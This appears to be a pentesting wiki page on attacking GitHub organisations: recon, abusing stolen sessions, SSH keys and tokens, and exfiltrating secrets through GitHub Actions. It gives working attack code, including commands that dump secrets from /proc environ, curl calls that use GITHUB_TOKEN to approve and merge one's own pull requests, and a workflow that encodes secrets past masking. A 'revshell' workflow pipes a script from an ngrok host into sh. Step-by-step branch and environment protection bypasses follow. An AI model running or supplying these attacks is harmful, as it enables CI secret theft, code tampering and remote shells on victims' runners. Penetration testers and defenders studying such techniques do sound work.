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Pentesting
Github Security

What is Github

(From here) At a high level, GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code.

Basic Information

External Recon

Github repositories can be configured as public, private and internal.
  • Private means that only people of the organisation will be able to access them
  • Internal means that only people of the enterprise (an enterprise may have several organisations) will be able to access it
  • Public means that all internet is going to be able to access it.
In case you know the user, repo or organisation you want to target you can use github dorks to find sensitive information or search for sensitive information leaks on each repo.

Github Dorks

Github allows to search for something specifying as scope a user, a repo or an organisation. Therefore, with a list of strings that are going to appear close to sensitive information you can easily search for potential sensitive information in your target.
Tools (each tool contains its list of dorks):

Github Leaks

Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will download each repo and search for sensitive information in them (even checking certain depth of commits).
Tools (each tool contains its list of regexes):

Internal Recon

For this scenario we are going to suppose that you have obtained some access to a github account.

With User Credentials

If you somehow already have credentials for a user inside an organization you can just login and check which enterprise and organization roles you have, if you are a raw member, check which permissions raw members have, in which groups you are, which permissions you have over which repos, and how are the repos protected.
Note that 2FA may be used so you will only be able to access this information if you can also pass that check.
Note that if you manage to steal the user_session cookie (currently configured with SameSite: Lax) you can completely impersonate the user without needing credentials or 2FA.
Check the section below about branch protections bypasses in case it's useful.

With User SSH Key

Github allows users to set SSH keys that will be used as authentication method to deploy code on their behalf (no 2FA is applied).
With this key you can perform changes in repositories where the user has some privileges, however you can not sue it to access github api to enumerate the environment. However, you can get enumerate local settings to get information about the repos and user you have access to:
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# Go to the the repository folder
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# Get repo config and current user name and email
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git config --list
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If the user has configured its username as his github username you can access the public keys he has set in his account in https://github.com/<github_username>.keys, you could check this to confirm the private key you found can be used.
SSH keys can also be set in repositories as deploy keys. Anyone with access to this key will be able to launch projects from a repository. Usually in a server with different deploy keys the local file ~/.ssh/config will give you info about key is related.

GPG Keys

As explained here sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
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gpg --list-secret-keys --keyid-format=long
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With User Token

For an introduction about User Tokens check the basic information.
A user token can be used instead of a password for Git over HTTPS, or can be used to authenticate to the API over Basic Authentication. Depending on the privileges attached to it you might be able to perform different actions.
A User token looks like this: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

With Oauth Application

An attacker might create a malicious Oauth Application to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
These are the scopes an Oauth application can request. A should always check the scopes requested before accepting them.
Moreover, as explained in the basic information, organizations can give/deny access to third party applications to information/repos/actions related with the organisation.

With Github Application

An attacker might create a malicious Github Application to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Moreover, as explained in the basic information, organizations can give/deny access to third party applications to information/repos/actions related with the organisation.

With Malicious Github Action

In case you can execute arbitrary github actions in a repository, you can steal the secrets from that repo.

Github Action Execution from Repo Creation

In case members of an organization can create new repos and you can execute github actions, you can create a new repo and steal the secrets set at organization level.

Github Action from a New Branch

If you can create a new branch in a repository that already contains a Github Action configured, you can modify it, upload the content, and then execute that action from the new branch. This way you can exfiltrate repository and organization level secrets (but you need to know how they are called).
You can make the modified action executable manually, when a PR is created or when some code is pushed (depending on how noisy you want to be):
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on:
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workflow_dispatch: # Launch manually
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pull_request: #Run it when a PR is created to a branch
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branches:
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- master
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push: # Run it when a push is made to a branch
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branches:
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- current_branch_name
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# Use '**' instead of a branh name to trigger the action in all the cranches
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Github Action Injection/Backdoor

In case you somehow managed to infiltrate inside a Github Action, if you can escalate privileges you can steal secrets from the processes where secrets have been set in. In some cases you don't even need to escalate privileges.
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cat /proc/<proc_number>/environ
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cat /proc/*/environ | grep -i secret #Suposing the env variable name contains "secret"
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GITHUB_TOKEN

This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given by default read and write permissions to the repo. This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Some interesting things you can do with this token:
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# Merge PR
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curl -X PUT \
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https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
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-H "Accept: application/vnd.github.v3+json" \
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--header "authorization: Bearer $GITHUB_TOKEN" \
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--header 'content-type: application/json' \
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-d '{"commit_title":"commit_title"}'
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# Approve a PR
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curl -X POST \
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https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
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-H "Accept: application/vnd.github.v3+json" \
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--header "authorization: Bearer $GITHUB_TOKEN" \
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--header 'content-type: application/json' \
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-d '{"event":"APPROVE"}'
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# Create a PR
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curl -X POST \
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-H "Accept: application/vnd.github.v3+json" \
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--header "authorization: Bearer $GITHUB_TOKEN" \
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--header 'content-type: application/json' \
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https://api.github.com/repos/<org_name>/<repo_name>/pulls \
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-d '{"head":"<branch_name>","base":"master", "title":"title"}'
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Note that in several occasions you will be able to find github user tokens inside Github Actions envs or in the secrets. These tokens may give you more privileges over the repository and organization.

List secrets in Github Action output

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name: list_env
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on:
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workflow_dispatch: # Launch manually
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pull_request: #Run it when a PR is created to a branch
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branches:
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- '**'
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push: # Run it when a push is made to a branch
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branches:
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- '**'
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jobs:
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List_env:
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runs-on: ubuntu-latest
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steps:
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- name: List Env
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# Need to base64 encode or github will change the secret value for "***"
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run: sh -c 'env | grep "secret_" | base64 -w0'
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env:
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secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
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secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
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Get reverse shell with secrets

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name: revshell
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on:
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workflow_dispatch: # Launch manually
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pull_request: #Run it when a PR is created to a branch
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branches:
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- '**'
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push: # Run it when a push is made to a branch
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branches:
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- '**'
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jobs:
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create_pull_request:
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runs-on: ubuntu-latest
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steps:
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- name: Get Rev Shell
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run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
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env:
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secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
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secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
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Branch Protection Bypass

  • Require a number of approvals: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a Github Action environment inside the repo, using the GITHUB_TOKEN you might be able to approve your PR and get 1 approval this way.
    • Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs.
  • Dismiss approvals when new commits are pushed: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
  • Require reviews from Code Owners: If this is activated and you are a Code Owner, you could make a Github Action create your PR and then approve it yourself.
    • When a CODEOWNER file is missconfigured Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's Code Owners protection isn't applied.
  • Allow specified actors to bypass pull request requirements: If you are one of these actors you can bypass pull request protections.
  • Include administrators: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
  • PR Hijacking: You could be able to modify the PR of someone else adding malicious code, approving the resulting PR yourself and merging everything.
  • Removing Branch Protections: If you are an admin of the repo you can disable the protections, merge your PR and set the protections back.
  • Bypassing push protections: If a repo only allows certain users to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard *).
    • If you have write access over the repo but you are not allowed to push code because of the branch protection, you can still create a new branch and within it create a github action that is triggered when code is pushed. As the branch protection won't protect the branch until it's created, this first code push to the branch will execute the github action.

Bypass Environments Protections

In case an environment can be accessed from all the branches, it's isn't protected and you can easily access the secrets inside the environment. Note that you might find repos where all the branches are protected (by specifying its names or by using *) in that scenario, find a branch were you can push code and you can exfiltrate the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where all the branches are protected (via wildcard *) it's specified who can push code to the branches (you can specify that in the branch protection) and your user isn't allowed. You can still run a custom github action because you can create a branch and use the push trigger over itself. The branch protection allows the push to a new branch so the github action will be triggered.
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push: # Run it when a push is made to a branch
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branches:
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- current_branch_name #Use '**' to run when a push is made to any branch
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Note that after the creation of the branch the branch protection will apply to the new branch and you won't be able to modify it, but for that time you will have already dumped the secrets.
Last modified 5d ago